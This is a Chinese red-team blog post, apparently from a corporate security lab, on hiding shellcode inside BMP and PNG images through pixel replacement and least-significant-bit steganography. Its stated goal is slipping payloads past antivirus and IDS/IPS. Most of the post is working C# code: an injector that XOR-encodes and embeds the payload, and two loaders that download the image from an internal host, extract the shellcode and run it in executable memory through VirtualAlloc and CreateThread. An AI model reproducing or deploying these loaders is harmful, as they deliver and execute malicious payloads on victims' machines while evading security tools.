利用图片隐写执行shellcode

百家 作者:平安安全应急响应中心 2022-02-24 21:09:46


作者简介 /Profile/

罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。



  • 0x01 起因

  • 0x02 替换图片像素点实现隐写

  •          2.1 利用bmp文件结构隐写payload

  •                  2.1.1 BitMap文件头

  •                  2.1.2 替换BitMap位图数据

  •                  2.1.3 修改BitMap像素高度

  •                  2.1.4 将payload长度插入bmp

  •          2.2 C#实现向bmp图片中插入payload

  •          2.3 loader读取bmp图片中隐写数据

  • 0x03 修改图片像素点实现隐写

  •          3.1 利用像素点隐写数据的原理

  •          3.2 C#实现像素点中插入payload

  •          3.3 loader读取像素点中隐写数据

  • 0x04 总结


0x01 起因


首先我们要知道为什么要用隐写,其实最主要的就是规避检测,不管你传输的任何数据都很由可能被IDS/IPS等检测到。写这个东西我最主要的还是想隐蔽的传输payload执行。在目标执行payload之前,很多安全设备会分析它:
所以我们就需要隐写术来隐藏我们的payload,那隐写术又分很多种,为什么选择图片隐写呢?因为图片基本上在各种AV、IDS/IPS等安全设备检测的范围之外,所以我们就能很好的利用这一点。这里我们介绍两种利用思路,以及他们的限制。


0x02 替换图片像素点实现隐写


这种方式其实很简单,大概的原理就是用我们的payload替换bmp图片的像素点,来达到隐写。
 
那再这么多的图片格式中,应该选哪一个?这里选择bmp图片,因为他是最简单的图片格式,而且是图片数据不会被压缩的,这一点才能保证我们再修改bmp图片后,储存的payload的完整性,相对来说因为没有压缩,所以它会占用更大的磁盘空间。

2.1 利用bmp文件结构隐写payload


bmp图片一般由四部分组成:
  • 位图头文件数据结构,它包含BMP图像文件的类型、显示内容等信息;

  • 位图信息数据结构,它包含有BMP图像的宽、高、压缩方法,以及定义颜色等信息;
  • 调色板,这个部分是可选的,有些位图需要调色板,有些位图,比如真彩色图(24位的BMP)就不需要调色板;
  • 位图数据,这部分的内容根据BMP位图使用的位数不同而不同,在24位图中直接使用RGB,而其他的小于24位的使用调色板中颜色索引值。


2.1.1 BitMap文件头
如上图就是BitMap文件头的所有内容,共计54字节。具体示例如下:


这里我们其实需要注意两个字段,一是22-26这4个字节,存放着bitmap文件的像素高,后续会说到用处。二是2-6这四个字节,本来存放着bmp图片的大小,我们会将他改成payload的长度。

2.1.2 替换BitMap位图数据


Bitmap文件种间的数据我们暂时不管,因为位图数据也就是像素点在文件的最后一节,所以我们就从最后一个位图数据的byte向前替换就行了。我先来看看修改像素点的结果:
 
源数据和源图


 
修改后的数据和修改后的图



注意看图片的差距,又上角变灰了。这是我们替换原有像素点造成的结果。

2.1.3 修改BitMap像素高度


这里为了使人更不易差距,我们就将BitMap头中的像素高度修改一下,让它不被显示出来。这样虽然图片就会比原图高度小上一点。
 
原图:
修改之后:

2.1.4 将payload长度插入bmp


完成上诉的步骤,我们就已经将我们的payload隐写进了bmp文件。剩下的就是写一个正常的loader将它读取出来并执行。但是在读取的时候我们怎么知道读取哪些数据?还有payload的长度呢?所以这里我们就要将payload的长度插入bmp图片,使用的是原来表示bmp大小的那4个字节,因为这4个字节不一定可信,导致它的修改对bmp没有什么影响。

2.2 C#实现向bmp图片中插入payload


先判断文件是否是bmp文件
private static bool IsBmpFile(string filePath){    FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read);    BinaryReader reader = new BinaryReader(stream);    string fileclass = "";    try    {        for (int i = 0; i < 2; i++)        {            fileclass += reader.ReadByte().ToString();        }        stream.Close();    }    catch (Exception)    {        throw;    }    if(fileclass == "6677")    {        return true;    }    else    {        return false;    }}

读取bmp文件字节并判断像素点是否够用
byte[] xBmp_Temp = File.ReadAllBytes(Image_File);if(xBmp_Temp.Length < (xPayload.Length + 54)){    Console.ForegroundColor = ConsoleColor.Red;    Console.WriteLine("[!] Error: The picture is too small, please choose a bigger picture!");    return;}

修改像素点最后面的字节,这里做了个简单的xor编码
int start = xBmp_Temp.Length - xPayload.Length;for (int i = 0; i < xPayload.Length; i++){    byte t = Convert.ToByte((Convert.ToInt32(xPayload[i], 16) ^ Convert.ToInt32("0x99", 16)).ToString("X2"), 16);    xBmp_Temp[start + i] = t;    if (i == 0)    {        Console.Write("[>] Injecting Encode Payload (length {0}) : ", xPayload.Length.ToString());    }    if (i <= 16)    {        Console.Write(string.Format("{0:X}",t) + " ");    }}

计算出payload占用的像素高度
FileStream fs = new FileStream(Image_File, FileMode.Open);byte[] array = new byte[4];fs.Seek(18, SeekOrigin.Begin);fs.Read(array, 0, 4);int width = BitConverter.ToInt32(array, 0);fs.Seek(22, SeekOrigin.Begin);fs.Read(array, 0, 4);int height = BitConverter.ToInt32(array, 0);fs.Close();int line = 0;if (xPayload.Length % width == 0){    line = xPayload.Length / width;}else{    line = xPayload.Length / width + 1;}

计算出新图的高度,并修改
int new_height = height - line;byte[] intBuff = BitConverter.GetBytes(new_height);for (int i = 0; i < 4; i++){    xBmp_Temp[22 + i] = intBuff[i];}

向bmp图片中写入payload的长度
intBuff = BitConverter.GetBytes(xPayload.Length);for (int i = 0; i < 4; i++){    xBmp_Temp[2 + i] = intBuff[i];}

保存bmp文件
string out_path = Environment.CurrentDirectory + "\\payload.bmp";File.WriteAllBytes(out_path, xBmp_Temp);

程序结果
 
 
生产的这个图片对于图片解析器来说是一个正常的图片,所以比如在web渗透中上传是不会有限制的。

2.3 loader读取bmp图片中隐写数据


这个loader的作用就是从我们的图片中读取出payload,并执行。
 
通过http来获得图片数据
string url = "http://10.0.0.8:80/payload.bmp";WebClient myWebClient = new WebClient();myWebClient.Credentials = CredentialCache.DefaultCredentials;byte[] bmp_bytes = myWebClient.DownloadData(url);

取出payload的长度,并计算出payload开始写入的位置
int payload_lenght = BitConverter.ToInt32(bmp_bytes, 2);int start = bmp_bytes.Length - payload_lenght;

读取payload,并解码
for(int i = 0; i < payload_lenght; i++){    payload[i] = Convert.ToByte((Convert.ToInt32(bmp_bytes[start + i].ToString("X2"), 16) ^ Convert.ToInt32("0x99", 16)).ToString("X2"), 16);}

执行payload
UInt32 MEM_COMMIT = 0x1000;UInt32 PAGE_EXECUTE_READWRITE = 0x40;UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(payload, 0x00000000, (IntPtr)(funcAddr), payload.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 1;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);WaitForSingleObject(hThread, 0xfffff1fc);

执行结果



0x03 修改图片像素点实现隐写


上面这种方法是通过直接替换掉像素点来实现的,对原图的改动造成了很大的差异,而通过修改像素点就不存在这一点。

3.1 利用像素点隐写数据的原理


我们都知道图片是包含像素点的,每个像素点又分为R(红)、G(绿)、B(蓝)三种原色,每个原色由8位二进制位表示,对应一个byte。
 
 
而这个是我们修改每个字节分组的最低位,图片在显示时的区别,肉眼是无法辨别的,进而可以达到隐藏数据的目的。
 
 
如上图,我们修改了三原色对应byte的二进制的最后一位,肉眼基本开不出来由任何区别。
 
那我们一个payload的byte是8位,如果知识改三原色的最后一位来隐藏数据的话,就需要两个半像素点才能存下一个payload的byte,如图:
 

3.2 C#实现像素点中插入payload


读取图片数据并提取像素数据到内存
Bitmap image = new Bitmap(Image_File);int width = image.Size.Width;int height = image.Size.Height;Rectangle rect = new Rectangle(0, 0, width, height);BitmapData image_data = image.LockBits(rect, ImageLockMode.ReadWrite, image.PixelFormat);IntPtr ptr = image_data.Scan0;int bytes = Math.Abs(image_data.Stride) * image.Height;byte[] rgbValues = new byte[bytes];Marshal.Copy(ptr, rgbValues, 0, bytes);

判断图片的像素点是否够我们插入所有的payload
if (rgbValues.Length < ((xPayload.Length + 4) * 8)){    Console.ForegroundColor = ConsoleColor.Red;    Console.WriteLine("[!] Error: There are too few pixels in the picture, please change a high pixel image!");    return;}

在像素点数据的最开始4字节插入payload的长度(这里用的是替换像素点的方法)
int counter = 0;byte[] l = BitConverter.GetBytes(xPayload.Length);Console.ForegroundColor = ConsoleColor.DarkYellow;for (int j = 0; j < 4; j++){    Console.Write(string.Format("{0:X}", l[j]) + " ");    rgbValues[counter] = l[j];    counter++;}

遍历插入payload数据
for (int i = 0; i < xPayload.Length; i++){    if(i < 16)    {        Console.ForegroundColor = ConsoleColor.DarkYellow;        Console.Write(xPayload[i] + " ");    }

将payload的byte转换成点阵列(即二进制)
byte[] b = { Convert.ToByte(xPayload[i], 16) };BitArray ba_Payload = new BitArray(b);

将点阵列的每个bit位写入像素byte的最后一个bit
for (int j = 0; j < 8; j++){    byte[] RGB = { rgbValues[counter] };    BitArray ba_RGB = new BitArray(RGB);    if (ba_RGB[0] != ba_Payload[j])    {        ba_RGB[0] = ba_Payload[j];    }    byte[] tmp = new byte[1];    ba_RGB.CopyTo(tmp, 0);    rgbValues[counter] = tmp[0];    counter++; ;}

在将内存中的数据写回到bitmap
Marshal.Copy(rgbValues, 0, ptr, bytes);image.UnlockBits(image_data);

最后将bitmap数据保存成png图片
string out_path = Environment.CurrentDirectory + "\\payload.png";image.Save(out_path, ImageFormat.Png);

程序输出结果
 

3.3 loader读取像素点中隐写数据


这个loader的作用同读取bmp文件的loader作用一样,都是从图片中提取出payload并加载执行。
 
使用http获取图片数据
string url = "http://10.0.0.8:80/payload.png";WebClient myWebClient = new WebClient();myWebClient.Credentials = CredentialCache.DefaultCredentials;byte[] Png_bytes = myWebClient.DownloadData(url);

将图片数据转换成bitmap对象,并提取出像素点数据
MemoryStream ms = new MemoryStream(Png_bytes);Bitmap image = (Bitmap)Image.FromStream(ms);int width = image.Size.Width;int height = image.Size.Height;Rectangle rect = new Rectangle(0, 0, width, height);BitmapData image_data = image.LockBits(rect, ImageLockMode.ReadWrite, image.PixelFormat);IntPtr ptr = image_data.Scan0;int bytes = Math.Abs(image_data.Stride) * image.Height;byte[] rgbValues = new byte[bytes];Marshal.Copy(ptr, rgbValues, 0, bytes);

从像素数据的最前4字节读取出payload的长度,并申请储存payload的数组。
int lenght = BitConverter.ToInt32(rgbValues, 0);byte[] XX = new byte[lenght];

提取像素点RGB数据的最后一位,存入点阵列
for (int i = 4; i < lenght * 8; i++){    byte[] RGB = { rgbValues[i] };    BitArray ba_RGB = new BitArray(RGB);    tmp[j] = ba_RGB[0];    j++;}

点阵列转换成int
public static int BitToInt(BitArray bit){    int[] res = new int[1];    for (int i = 0; i < bit.Count; i++)    {        bit.CopyTo(res, 0);    }    return res[0];}

读取出8位之后,还原成byte
if(j == 8){    XX[counter] = Convert.ToByte(BitToInt(tmp));    j = 0;    counter++;}

完成payload提取之后,创建线程来执行
UInt32 MEM_COMMIT = 0x1000;UInt32 PAGE_EXECUTE_READWRITE = 0x40;UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)XX.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(XX, 0x00000000, (IntPtr)(funcAddr), XX.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 1;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId);WaitForSingleObject(hThread, 0xfffff1fc);

运行结果



0x04 总结


从上面可以看出图片是我们很好的用来传输数据的载体,但是限制就是传输的数据越大,需要的图片就越大。所以我们这里用来储存payload还是很舒服的。

参考来源:
https://github.com/DamonMohammadbagher/eBook-BypassingAVsByCSharp


银河实验室

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/




往期回顾


技术

【干货】cobaltstrike通信协议研究

技术

D-Link 816-A2 路由器研究分享

技术

使用Ghidra P-Code对OLLVM控制流平坦化进行反混淆

技术

家用路由器D-LINK DIR-81漏洞挖掘实例分析

公告

防守方视角看漏扫——手把手教你定制自己的漏扫框架(POC部分)


长按识别二维码关注我们

微信号:PSRC_Team



球分享

球点赞

球在看



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接
百度热搜榜
排名 热点 搜索指数